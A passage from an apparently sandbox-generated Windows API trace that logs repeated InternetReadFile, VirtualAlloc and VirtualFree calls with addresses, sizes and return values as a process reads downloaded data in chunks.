dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x5ca4) returned 1 [0133.585] VirtualAlloc (lpAddress=0x1e7e4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e4000 [0133.585] VirtualFree (lpAddress=0x1e7fc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.586] VirtualAlloc (lpAddress=0x1e824000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e824000 [0133.586] VirtualFree (lpAddress=0x1e7e8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.586] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x105c) returned 1 [0133.609] VirtualFree (lpAddress=0x1e7e4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.610] VirtualAlloc (lpAddress=0x1e82c000, dwSize=0x28000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e82c000 [0133.613] VirtualFree (lpAddress=0x1e804000, dwSize=0x24000, dwFreeType=0x4000) returned 1 [0133.615] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x105c) returned 1 [0133.615] VirtualAlloc (lpAddress=0x1e7e4000, dwSize=0x28000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e4000 [0133.619] VirtualFree (lpAddress=0x1e828000, dwSize=0x24000, dwFreeType=0x4000) returned 1 [0133.621] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x7274) returned 1 [0133.626] VirtualAlloc (lpAddress=0x1e80c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e80c000 [0133.626] VirtualFree (lpAddress=0x1e808000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.627] VirtualFree (lpAddress=0x1e84c000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0133.628] VirtualAlloc (lpAddress=0x1e80c000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0133.628] VirtualAlloc (lpAddress=0x1e80c000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0133.628] VirtualAlloc (lpAddress=0x1e808000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0133.628] VirtualAlloc (lpAddress=0x1e808000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0133.628] VirtualAlloc (lpAddress=0x1e814000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e814000 [0133.631] VirtualFree (lpAddress=0x1e7e4000, dwSize=0x24000, dwFreeType=0x4000) returned 1 [0133.634] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x20b8) returned 1 [0133.655] VirtualFree (lpAddress=0x1e80c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.655] VirtualAlloc (lpAddress=0x1e844000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e844000 [0133.659] VirtualFree (lpAddress=0x1e810000, dwSize=0x30000, dwFreeType=0x4000) returned 1 [0133.662] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x82c8) returned 1 [0133.664] VirtualAlloc (lpAddress=0x1e7e4000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e4000 [0133.665] VirtualAlloc (lpAddress=0x1e874000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e874000 [0133.665] VirtualFree (lpAddress=0x1e7ec000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.666] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x20b8) returned 1 [0133.692] VirtualFree (lpAddress=0x1e7e4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.692] VirtualAlloc (lpAddress=0x1e87c000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e87c000 [0133.693] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x6d00) returned 1 [0133.694] VirtualAlloc (lpAddress=0x1e7ec000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7ec000 [0133.695] VirtualAlloc (lpAddress=0x1e880000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e880000 [0133.696] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0xd90) returned 1 [0133.701] VirtualFree (lpAddress=0x1e7e8000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0133.702] VirtualAlloc (lpAddress=0x1e7e4000, dwSize=0x44000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e4000 [0133.707] VirtualFree (lpAddress=0x1e840000, dwSize=0x44000, dwFreeType=0x4000) returned 1 [0133.727] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x33d8) returned 1 [0133.728] VirtualFree (lpAddress=0x1e884000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.728] VirtualAlloc (lpAddress=0x1e828000, dwSize=0x48000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e828000 [0133.735] VirtualFree (lpAddress=0x1e7e4000, dwSize=0x3c000, dwFreeType=0x4000) returned 1 [0133.740] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x9e14) returned 1 [0133.741] VirtualAlloc (lpAddress=0x1e7e4000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e4000 [0133.741] VirtualFree (lpAddress=0x1e86c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.742] VirtualFree (lpAddress=0x1e820000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.743] VirtualAlloc (lpAddress=0x1e86c000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e86c000 [0133.743] VirtualFree (lpAddress=0x1e7ec000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.744] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0xd90) returned 1 [0133.762] VirtualFree (lpAddress=0x1e7e4000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0133.763] VirtualAlloc (lpAddress=0x1e878000, dwSize=0x50000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e878000 [0133.769] VirtualFree (lpAddress=0x1e824000, dwSize=0x50000, dwFreeType=0x4000) returned 1 [0133.774] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x6fcc) returned 1 [0133.774] VirtualAlloc (lpAddress=0x1e7e4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e4000 [0133.776] VirtualAlloc (lpAddress=0x1e8c8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e8c8000 [0133.777] VirtualFree (lpAddress=0x1e7e8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.777] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x6218) returned 1 [0133.778] VirtualAlloc (lpAddress=0x1e7e8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e8000 [0133.779] VirtualAlloc (lpAddress=0x1e8d0000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e8d0000 [0133.780] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x574) returned 1 [0133.780] VirtualFree (lpAddress=0x1e7e4000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0133.781] VirtualAlloc (lpAddress=0x1e7e4000, dwSize=0x60000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e4000 [0133.786] VirtualFree (lpAddress=0x1e874000, dwSize=0x5c000, dwFreeType=0x4000) returned 1 [0133.789] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x105c) returned 1 [0133.797] VirtualFree (lpAddress=0x1e8d0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.798] VirtualAlloc (lpAddress=0x1e844000, dwSize=0x60000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e844000 [0133.799] VirtualFree (lpAddress=0x1e840000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.805] VirtualFree (lpAddress=0x1e7e4000, dwSize=0x58000, dwFreeType=0x4000) returned 1 [0133.807] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x3bf4) returned 1 [0133.808] VirtualAlloc (lpAddress=0x1e7e4000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e4000 [0133.808] VirtualFree (lpAddress=0x1e83c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.809] VirtualAlloc (lpAddress=0x1e8a4000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e8a4000 [0133.809] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x46dc) returned 1 [0133.817] VirtualAlloc (lpAddress=0x1e7e8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e8000 [0133.818] VirtualAlloc (lpAddress=0x1e8a8000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e8a8000 [0133.818] VirtualFree (lpAddress=0x1e7ec000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.819] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x6218) returned 1 [0133.820] VirtualAlloc (lpAddress=0x1e7ec000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7ec000 [0133.820] VirtualFree (lpAddress=0x1e7e4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.821] VirtualAlloc (lpAddress=0x1e8ac000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e8ac000 [0133.821] VirtualFree (lpAddress=0x1e7f0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.822] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x20b8) returned 1 [0133.839] VirtualFree (lpAddress=0x1e7e8000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0133.839] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x1) returned 0x1e8e0000 [0133.840] VirtualAlloc (lpAddress=0x1e8e0000, dwSize=0x44000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e8e0000 [0133.841] VirtualAlloc (lpAddress=0x1e8b4000, dwSize=0x2c000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e8b4000 [0133.849] VirtualFree (lpAddress=0x1e844000, dwSize=0x6c000, dwFreeType=0x4000) returned 1 [0133.852] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x4c50) returned 1 [0133.853] VirtualAlloc (lpAddress=0x1e7e4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e4000 [0133.853] VirtualAlloc (lpAddress=0x1e924000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e924000 [0133.854] VirtualFree (lpAddress=0x1e7e8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.856] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0xa380) returned 1 [0133.856] VirtualAlloc (lpAddress=0x1e7e8000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e8000 [0133.858] VirtualAlloc (lpAddress=0x1e928000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e928000 [0133.858] VirtualFree (lpAddress=0x1e7f0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.859] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x15d0) returned 1 [0133.877] VirtualFree (lpAddress=0x1e7e4000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0133.878] VirtualAlloc (lpAddress=0x1e7e4000, dwSize=0x80000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e4000 [0133.889] VirtualFree (lpAddress=0x1e8e0000, dwSize=0x50000, dwFreeType=0x4000) returned 1 [0133.891] VirtualFree (lpAddress=0x1e8b0000, dwSize=0x30000, dwFreeType=0x4000) returned 1 [0133.894] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0133.895] VirtualAlloc (lpAddress=0x1e864000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e864000 [0133.895] VirtualFree (lpAddress=0x1e860000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.897] VirtualFree (lpAddress=0x1e930000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.897] VirtualFree (lpAddress=0x1e8e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.898] VirtualAlloc (lpAddress=0x1e864000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0133.898] VirtualAlloc (lpAddress=0x1e864000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0133.898] VirtualAlloc (lpAddress=0x1e860000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0133.898] VirtualAlloc (lpAddress=0x1e860000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0133.898] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x1) returned 0x1e8e0000 [0133.899] VirtualAlloc (lpAddress=0x1e8e0000, dwSize=0x28000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e8e0000 [0133.899] VirtualAlloc (lpAddress=0x1e878000, dwSize=0x68000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e878000 [0133.909] VirtualFree (lpAddress=0x1e7e4000, dwSize=0x7c000, dwFreeType=0x4000) returned 1 [0133.913] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x103c) returned 1 [0133.914] VirtualFree (lpAddress=0x1e864000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0133.914] VirtualAlloc (lpAddress=0x1e908000, dwSize=0x94000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e908000 [0133.926] VirtualFree (lpAddress=0x1e8e0000, dwSize=0x20000, dwFreeType=0x4000) returned 1 [0133.928] VirtualFree (lpAddress=0x1e874000, dwSize=0x6c000, dwFreeType=0x4000) returned 1 [0133.931] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0133.934] VirtualAlloc (lpAddress=0x1e7e4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e4000 [0133.934] VirtualFree (lpAddress=0x1e998000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.936] VirtualFree (lpAddress=0x1e900000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.937] VirtualAlloc (lpAddress=0x1e998000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e998000 [0133.937] VirtualFree (lpAddress=0x1e7f4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.938] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x30fc) returned 1 [0133.939] VirtualFree (lpAddress=0x1e7e4000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0133.939] VirtualAlloc (lpAddress=0x1e7e4000, dwSize=0xa4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e4000 [0133.950] VirtualFree (lpAddress=0x1e904000, dwSize=0xa0000, dwFreeType=0x4000) returned 1 [0133.957] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x9898) returned 1 [0133.958] VirtualAlloc (lpAddress=0x1e888000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e888000 [0133.958] VirtualFree (lpAddress=0x1e884000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.959] VirtualFree (lpAddress=0x1e9a4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.960] VirtualFree (lpAddress=0x1e8e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.962] VirtualAlloc (lpAddress=0x1e888000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0133.962] VirtualAlloc (lpAddress=0x1e888000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0133.962] VirtualAlloc (lpAddress=0x1e884000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0133.962] VirtualAlloc (lpAddress=0x1e884000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0133.962] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x1) returned 0x1e8e0000 [0133.963] VirtualAlloc (lpAddress=0x1e8e0000, dwSize=0x64000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e8e0000 [0133.964] VirtualAlloc (lpAddress=0x1e894000, dwSize=0x4c000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e894000 [0133.976] VirtualFree (lpAddress=0x1e7e4000, dwSize=0xa0000, dwFreeType=0x4000) returned 1 [0133.981] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0xae70) returned 1 [0133.984] VirtualAlloc (lpAddress=0x1e7e4000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e4000 [0133.984] VirtualFree (lpAddress=0x1e940000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.985] VirtualFree (lpAddress=0x1e888000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0133.986] VirtualAlloc (lpAddress=0x1e940000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e940000 [0133.986] VirtualFree (lpAddress=0x1e7ec000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.987] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x77e8) returned 1 [0133.996] VirtualAlloc (lpAddress=0x1e7ec000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7ec000 [0133.997] VirtualFree (lpAddress=0x1e7e4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.997] VirtualAlloc (lpAddress=0x1e94c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e94c000 [0133.998] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x20b0) returned 1 [0133.999] VirtualFree (lpAddress=0x1e7e8000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0133.999] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x1) returned 0x1e9e0000 [0133.999] VirtualAlloc (lpAddress=0x1e9e0000, dwSize=0x38000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e9e0000 [0134.000] VirtualAlloc (lpAddress=0x1e954000, dwSize=0x8c000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e954000 [0134.010] VirtualFree (lpAddress=0x1e8e0000, dwSize=0x70000, dwFreeType=0x4000) returned 1 [0134.013] VirtualFree (lpAddress=0x1e890000, dwSize=0x50000, dwFreeType=0x4000) returned 1 [0134.019] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0xc438) returned 1 [0134.019] VirtualAlloc (lpAddress=0x1e7e4000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e4000 [0134.021] VirtualFree (lpAddress=0x1ea14000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0134.022] VirtualAlloc (lpAddress=0x1ea14000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ea14000 [0134.023] VirtualFree (lpAddress=0x1e7f0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0134.024] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x77e8) returned 1 [0134.034] VirtualAlloc (lpAddress=0x1e7f0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7f0000 [0134.035] VirtualFree (lpAddress=0x1e7e4000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0134.035] VirtualAlloc (lpAddress=0x1ea24000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ea24000 [0134.036] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x105c) returned 1 [0134.036] VirtualFree (lpAddress=0x1e7ec000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0134.037] VirtualAlloc (lpAddress=0x1ea28000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ea28000 [0134.038] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0134.066] VirtualAlloc (lpAddress=0x1e7f8000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7f8000 [0134.068] VirtualAlloc (lpAddress=0x1ea2c000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ea2c000 [0134.068] VirtualFree (lpAddress=0x1e808000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0134.070] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x77d0) returned 1 [0134.070] VirtualAlloc (lpAddress=0x1e808000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e808000 [0134.071] VirtualFree (lpAddress=0x1e7f4000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0134.072] VirtualAlloc (lpAddress=0x1ea3c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ea3c000 [0134.073] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0134.102] VirtualAlloc (lpAddress=0x1e7e4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e4000 [0134.104] VirtualFree (lpAddress=0x1e804000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0134.104] VirtualAlloc (lpAddress=0x1ea44000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ea44000 [0134.105] VirtualFree (lpAddress=0x1e7f4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0134.106] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x882c) returned 1 [0134.107] VirtualAlloc (lpAddress=0x1e7f4000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7f4000 [0134.108] VirtualFree (lpAddress=0x1e7e4000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0134.109] VirtualAlloc 